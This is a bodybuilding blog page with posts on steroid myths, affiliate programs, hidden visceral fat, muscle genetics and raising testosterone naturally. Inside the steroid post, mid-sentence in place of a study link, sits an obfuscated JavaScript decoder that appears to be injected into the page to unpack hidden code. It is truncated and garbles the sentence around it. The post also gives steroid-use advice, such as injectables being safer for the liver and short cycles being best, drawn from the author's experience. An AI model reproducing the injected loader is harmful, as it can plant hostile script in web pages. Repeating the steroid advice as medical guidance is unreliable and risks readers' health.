Steroid Facts and Myths

Steroids are probably one of the most misunderstood drugs around, full of many misconceptions and exaggerations. Most have not tried it or even know anyone (at least to their knowledge) that has tried them. People fear more what they do not know or understand and the media and politicians, have taken advantage of that for their own gains.

Steroids are much more prevalent than people are aware. They think they will be able to “tell”, but unless you done steroids yourself, it is unlikely you will know for sure if someone else around you is doing it. Usually people who are around someone a lot, won't notice rapid weight gains as someone who hasn't seen you in weeks.

The media plays into this hype because they love manipulating the “ignorant masses” and sensationalizing things. Having some past experience with various steroid compounds and spent years studying them, I can help answer some some common questions.

1) Steroids will turn you into a raving lunatic A.K.A "Roid Rage"

This is mostly false. The longer the cycle and the type of drugs used, such as tren or high doses of testosterone, can make this more likely. In general, Steroids will make you slightly more agressive and more confident. They give you a sense of well being and confidence. However, they will not make you an unprovoked angry psycopath that is classic of media propoganda called "roid rage". I have previously written an article on Roid Rage: Real or Myth?, citing research on the issue to help back my arguments.

2) It causes Suicide/Depression and Sexual problems

When you go on long steroid cycles and your body comes off it, it has completely stopped producing testosterone. You have a hormonal imbalance of low testosterone and high estrogen. This hormone change, causes depression and moodiness postcycle. Men will essentially feel like a 10 year old depressed girl scout off a long steroid cycle. Over multiple steroid cycles, you get used to coming off, but psychology it is hard to deal. When you get off steroids you will feel weaker and less confident. To make matters worse you will probably will have, erectile or libido problems temporarily.

With all these things going on, it is obvious that they could increase the likelihood of suicide or depression, in susceptible individuals. What usually happens though, is people just tough it out for a few weeks and then jump on another cycle. In other words, it becomes a roller coaster of addiction. It is psychological addiction though and not physical. But you can get psychologically addicted to lots of things such as junk food, porn, etc.

Yes, your testes will definitely shrink within a few weeks of cycle. If you were using testosterone steroid, once you get off you will lose your sex drive. In rare cases some people lose their sex drive for many months after a steroid cycle. They have to resort to HCG, in order to "jumpstart" the bodies natural testosterone production.

In the world of performance enhancing drugs, hCG is increasingly used in combination with various Anabolic Androgenic Steroid (AAS) cycles.

When AAS are put into a male body, the body's natural negative feedback loops cause the body to shut down its own production of testosterone via shutdown of the HPTA (hypothalamic pituitary-testicular axis). High levels of AASs that mimic the body's natural testosterone trigger the hypothalamus to shut down its production of gonadotropin-releasing hormone (GnRH) from the hypothalamus. Without GnRH the pituitary gland stops releasing luteinizing hormone (LH). LH normally travels from the pituitary via the blood stream to the testes where it triggers the production and release of testosterone. Without LH, the testes shut down their production of testosterone, causing testicular atrophy ("shrunken balls").

In males, hCG mimics LH and helps restore / maintain testosterone production in the testes. As such, hCG is commonly used during and after steroid cycles to maintain and restore testicular size as well as endogenous testosterone production. However, if hCG is used for too long and in too high a dose, the resulting rise in natural testosterone will eventually inhibit its own production via negative feedback on the hypothalamus and pituitary.

Source: Wikipedia

3) Steroids are bad for your heart

This is true. Steroids decrease your HDL while increasing your LDL. HDL is the "good cholesterol" which acts like draino on your arteries for cleaning up plaque buildup. LDL is the "bad cholesterol" which puts cholesterol on your artery. So as you can see long term use of steroids is not a good idea. Short cycles and infrequent use would be best for your health if you choose to use them. The massive weight and water gain also puts pressure on the heart and is not a good thing to be doing frequently over your lifetime. Steroids also increase the harmful protein homocysteine according to this study

NEW YORK (Reuters Health) - A new study provides more evidence that long-term use of anabolic steroids can cause heart and blood vessel disease, and may even boost the risk of sudden death.

UK researchers found that bodybuilders who used the muscle-building steroids had increased levels of homocysteine, a protein tied to increased mortality, heart disease risk and blood vessel damage, compared with bodybuilders who didn't use the performance-enhancing drugs.

Three steroid users died suddenly during the course of the study, and all had homocysteine levels that were higher than the average for steroid-using study participants.

"The findings of this study suggest that anabolic-androgenic steroids are detrimental to cardiovascular health and appear to be implicated in cardiovascular mortality in long-term anabolic-androgenic steroid abuse," Dr. Michael R. Graham of the University Glamorgan in Pontypridd, Wales and colleagues conclude.

There have been reports suggesting that steroid users face an increased risk of sudden death as well as acute clotting-related health problems such as stroke and heart attack, Graham and his team note.

To determine whether steroid users might have increased homocysteine levels, which could contribute to the risk of heart and blood vessel problems, the researchers measured levels of homocysteine and several other substances in the blood in bodybuilders who had been using steroids for more than 20 years.

They were compared to steroid-using bodybuilders who had abstained from the drugs for three months, bodybuilders who had never used steroids, and sedentary, non-steroid-using men.

Current and past steroid users had higher homocysteine levels than other study participants, as well as "dramatically elevated" levels of hematocrit.

As mentioned, three of the steroid-using bodybuilders died during the study period and all of them had significantly higher levels of homocysteine than the average for the steroid-using group.

Sudden death and acute clotting events "may represent under-appreciated risks" of anabolic steroid use, the team warns.

Source: British Journal Sports Medicine

However Folic Acid and Vitamin B break down homocysteine protein in the body so a simple diet change could help offset that.

Homocysteine levels are strongly influenced by diet, as well as by genetic factors. The dietary components with the greatest effects are folic acid and vitamins B6 and B12. Folic acid and other B vitamins help break down homocysteine in the body. Several studies have found that higher blood levels of B vitamins are related, at least partly, to lower concentrations of homocysteine. Other recent evidence shows that low blood levels of folic acid are linked with a higher risk of fatal coronary heart disease and stroke.

Source: Ammerican Hear Assoc.

There have also been studies showing the permanent thickening of the ventricular wall in steroid users vs natural powerlifters. Although there are questions about that function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-heart-muscle.htm" target="_blank" rel="nofollow">study as it has obvious flaws.

4) Steroids are bad for your liver.

This is true. There is a definite scientific link between steroids and liver damage or liver cancer. However, it is usually exaggerated. First off alchohol or many prescription drugs, are probably just as toxic, if not more, to the liver. It is hard to determine what is caused by a person using alchohol and/or other drugs compared to steroid use in their life.

Secondly, it depends on what type of steroids you use. In the bodybuilding community it is also recommended not to focus on "oral" cycles which use the more dangerous methylated compounds and are much more hard on the liver. Injectables do not use methylated steroids and are taught among reputable bodybuilders to be not only the best mass builders among bodybuilders, but also the safest on your liver.

5) Steroids cause bad acne and hair loss

This is true. Your acne will increase especially cystic acne in your back and chest and face. Acne is related to your hormones and the androgenic nature of steroids cause your cystic acne to increase. If you are really susceptible to cystic acne, you will get many large acne cysts.

Steroids will increase hair loss. The thinning and receding is mainly permanent, so it is best to help prevent it while on cycle. As with acne, the severity of your hair loss will depend on your genetics. Nizoral shampoo 2%, anti dandruff shampoo (with zinc), rogaine, Spiro, are all easy to get and proven to help combat/prevent against thinning "alopecia" for MPB (Male pattern baldness). Prescription drugs such as propecia and duasteride also help against the androgenic side effects, but will only help against testosterone, so it won't help if your taking Tren and dianabol for example. Propecia and duasteride will also reduce the effectiveness of testosterone since it works on the body's conversion to DHT, which is very anabolic too

Steroids cause prostate cancer

This is so complex of a topic, that it inspired me to write an indepth article on the issue seperately here. You do not want to miss reading it.

Conclusion

I hope that clears up the many myths about steroids and sets some of the facts. There may be new studies over time that show new evidence contrary to what is said here, but this is what we know today.

Bodybuilding Affiliate Programs

Do you have a bodybuilding website or blog yourself and you want to make money off of it through affiliate work? I am a very experienced blogger and run a large network of websites(mostly bodybuilding), so my insight should save you a lot of effort figuring out good bodybuilding affiliates.

The best bodybuilding affiliate program I use is A1supplements  They will pay you 15% on your orders including repeat commissions, for 60 days. Their prices are also very competitive and their store has been around many years.  It's actually my highest paying bodybuilding affiliate. I've earned from other affiliates, but this one is by far my top earner. Another thing I like about a1supplements is that you can have links to a individual supplement product.

A bodybuilding video affiliate site I recommend is Repetrope They pay 10% on sale with a 30 day cookie. They are the only place to find thousands of videos on NPC competitons and personal training videos, due to their exclusive contract rights.

You should probably start noticing sales with a1supplements fairly quickly, if you have a medium traffic bodybuilding site. Good luck!

Skinny People Unhealthy?

According to this news that may be the case.

LONDON - If it really is what's on the inside that counts, then a lot of thin people might be in trouble. Some doctors now think that the internal fat surrounding vital organs like the heart, liver or pancreas — invisible to the naked eye — could be as dangerous as the more obvious external fat that bulges underneath the skin.

"Being thin doesn't automatically mean you're not fat," said Dr. Jimmy Bell, a professor of molecular imaging at Imperial College, London. Since 1994, Bell and his team have scanned nearly 800 people with MRI machines to create "fat maps" showing where people store fat.

According to the data, people who maintain their weight through diet rather than exercise are likely to have major deposits of internal fat, even if they are otherwise slim. "The whole concept of being fat needs to be redefined," said Bell, whose research is funded by Britain's Medical Research Council.

Without a clear warning signal — like a rounder middle — doctors worry that thin people may be lulled into falsely assuming that because they're not overweight, they're healthy.

"Just because someone is lean doesn't make them immune to diabetes or other risk factors for heart disease," said Dr. Louis Teichholz, chief of cardiology at Hackensack Hospital in New Jersey, who was not involved in Bell's research.

Even people with normal Body Mass Index scores — a standard obesity measure that divides your weight by the square of your height — can have surprising levels of fat deposits inside.

Of the women scanned by Bell and his colleagues, as many as 45 percent of those with normal BMI scores (20 to 25) actually had excessive levels of internal fat. Among men, the percentage was nearly 60 percent.

Relating the news to what Bell calls "TOFIs" — people who are "thin outside, fat inside" — is rarely uneventful. "The thinner people are, the bigger the surprise," he said, adding the researchers even found TOFIs among people who are professional models.

According to Bell, people who are fat on the inside are essentially on the threshold of being obese. They eat too many fatty, sugary foods — and exercise too little to work it off — but they are not eating enough to actually be fat. Scientists believe we naturally accumulate fat around the belly first, but at some point, the body may start storing it elsewhere.

Still, most experts believe that being of normal weight is an indicator of good health, and that BMI is a reliable measurement.

"BMI won't give you the exact indication of where fat is, but it's a useful clinical tool," said Dr. Toni Steer, a nutritionist at Britain's Medical Research Council.

Doctors are unsure about the exact dangers of internal fat, but some suspect it contributes to the risk of heart disease and diabetes. They theorize that internal fat disrupts the body's communication systems. The fat enveloping internal organs might be sending the body mistaken chemical signals to store fat inside organs like the liver or pancreas. This could ultimately lead to insulin resistance, type 2 diabetes, or heart disease.

Experts have long known that fat, active people can be healthier than their skinny, inactive counterparts. "Normal-weight persons who are sedentary and unfit are at much higher risk for mortality than obese persons who are active and fit," said Dr. Steven Blair, an obesity expert at the University of South Carolina.

For example, despite their ripples of fat, super-sized Sumo wrestlers probably have a better metabolic profile than some of their slim, sedentary spectators, Bell said. That's because the wrestlers' fat is primarily stored under the skin, not streaking throughout their vital organs and muscles.

The good news is that internal fat can be easily burned off through exercise or even by improving your diet. "Even if you don't see it on your bathroom scale, caloric restriction and physical exercise have an aggressive effect on visceral fat," said Dr. Bob Ross, an obesity expert at Queen's University in Canada.

Because many factors contribute to heart disease, Teichholz says it's difficult to determine the precise danger of internal fat — though it certainly doesn't help.

"Obesity is a risk factor, but it's lower down on the totem pole of risk factors," he said, explaining that whether or not people smoke, their family histories and blood pressure and cholesterol rates are more important determinants than both external and internal fat.

When it comes to being fit, experts say there is no short-cut. "If you just want to look thin, then maybe dieting is enough," Bell said. "But if you want to actually be healthy, then exercise has to be an important component of your lifestyle."

Source

People need to realize there is two types of fat. The subcutaneous fat that is below the skin which isn't as bad as visceral fat which is mainly around the organs. It also gives the big potbelly you seen in alcoholics. The potbelly in alcoholics is caused by an increase in cortisol (the same hormone during stress and excercise). That is why people who store large amounts of fat in their belly are more susceptible to health side effects then people who store fat evenly around their body. So just because you are skinny doesn't mean you are healthy.

This is another good reason for bodybuilding for woman and men because diet isn't enough. You have to excercise too to keep the visceral fat down even when your thin. Weight lifting is a fun and excellent way to excercise.

Bodybuilding Genetics

Among all the marketing gimmicks, magic supplements and the people pushing you books for the magic routine, I have to say point blank: bodybuilding results is mostly genetics. If you're a bodybuilding "newbie" (or maybe even a veteran) your going to hate to read those words, but it's the truth. It's ingrained in our psychology that we hate to admit that anything is mostly muscle genetics. It took me a while myself, before I finally came to terms with that.

If you are a "hardgainer" you will never acheive close to what a easygainer gets, at least not naturally. Just like some people are smarter then others, look better, some people are more nervous, some are introverted, genetics plays a role in everything so why not bodybuilding? Bodybuilding is an ego driven sport, so people are not going to want to admit that they can't look like Arnold or the buff gym rat if the weigh 140 lbs soaking wet. They will convince themselves if they just try a little bit harder on their diet or routine, they will eventually be the biggest in their gym.

Even steroids are not a magical drug. They give you a boost and get you through plateaus, but watch what happens when you get off them after a year or two. You will drastically shrink, often back to your previous size before steroids. And you don't want to be relying on them indefinitely because of the negative effects on your heart, liver, kidneys, prostate, and sexual health.

So what genetic factors are in place?

The answer is mainly due to muscle fiber type and the amount of each type. The more gifted larger bodybuilders often have more fibers and more of them fast twitch on average. Myostatin is another one. When myostatin was manipulated in mice they grew muscle at unbelievable rates. Testosterone levels play a huge role also. People with large testosterone levels should have a easier time building more muscle and keeping lean /losing fat. Metabolism of course is another big one. If you have a fast metabolism you will have a hard time building muscle.

Did I give up? of course not I still train hard. I just realized I needed a more realistic perspective about my abilities. It is unhealthy to obsess and have unrealistic expectations. So if you have been following a strict diet and weight lifting routine for a few months and still don't look that great, just accept that because of your genetics, the gains will be probably slow. You may have to accept you'll never reach your ideal goal in your mind. However, you will look a heck of a lot better than if you did nothing! And that is all that matters in the end.

How To Increase Natural Testosterone Production

Testosterone is a important hormone for men and even for woman. Low testosterone will affect your mood, sex life, and health. After 18 is when testoerone levels start to slowly decline in men. Some men in their 20's or 30's can have low testosterone levels, called hypogonadism. Hypogonadism can be caused from various causes including; undescended testicle, a testicular injury, a pituitary gland disorder, or prescription drugs.

Testosterone is extremely important for bodybuilders, because it is the main anabolic hormone in the body. Nothing contributes to muscle building like testosterone levels. It's important to note that testosterone artificially given, will only hurt you in the long run. Your body will stop producing it naturally and your testicles will "shrivel up". Long term steroid abuse can permanently effect your natural testosterone production.

Women bodybuilders should not be afraid to naturally increase their testosterone levels. It will improve their confidence, energy, and sex drive also.

How to maximize natural testosterone production:

- Excercise regularly. If your a bodybuilder you should be doing this already.

- Make sure your diet is high in good fats, such as monounsaturated found in nuts such as peanuts and walnuts. Adequate omega 3 fats is crucial. They are found in walnuts, fish, and flaxseed.

- Give your body adequate rest. Get 8 hours of non-interrupted deep sleep everyday. Go to sleep at the same time everyday so you don't interfere with your circadian rhythm.

- Avoid long term consistent calorie restriction, which can cause lower testosterone levels.

-Through dieting and weightlifting, keep your muscle mass high and body fat% reasonably low. Fat cells in the body elevate estrogen, which can reduce your testosterone levels.

- Avoid overtraining.

- Get adequate zinc in diet. Zinc is a hard mineral to absorb and many people are deficient in their diet. Zinc plays a crucial role in maintaining optimum testosterone levels and is the main basis for the supplement ZMA. Sometimes a multi-vitamin is still not enough for getting enough zinc due to inferior zinc form and because of the extra requirements by active athletes. Therefore bodybuilders often notice a improvement in sleeping and testosterone levels, when taking an additional zinc supplement.

While some believe that squats and deadlifts help increase testosterone levels long term, it is more complicated then that. There is a temporary increase in testosterone during and after resistance excercise, but testosterone levels will then quickly drop below normal for about a day or 2. Then testosterone levels will come back to normal. Resistance training will help maintain or give a small boost to testosterone levels long term, only as long as you aren't overtraining. Excessive weight training or not giving your body breaks every few weeks, will actually cause lower testosterone levels. Testosterone levels drop from overtraining because of higher levels of cortisol, a hormone released from resistance excercise.

Diet seems to play a bigger role in maintaining testosterone levels. In a study published J Appl Physiol. 1997 Jan;82(1):49-54 on individuals doing resistance training under various diets. The testosterone levels temporarily increased post resistance excercise in all groups, but the true correlation between the groups resting Testosterone levels, was actually due to their diet(fat intake).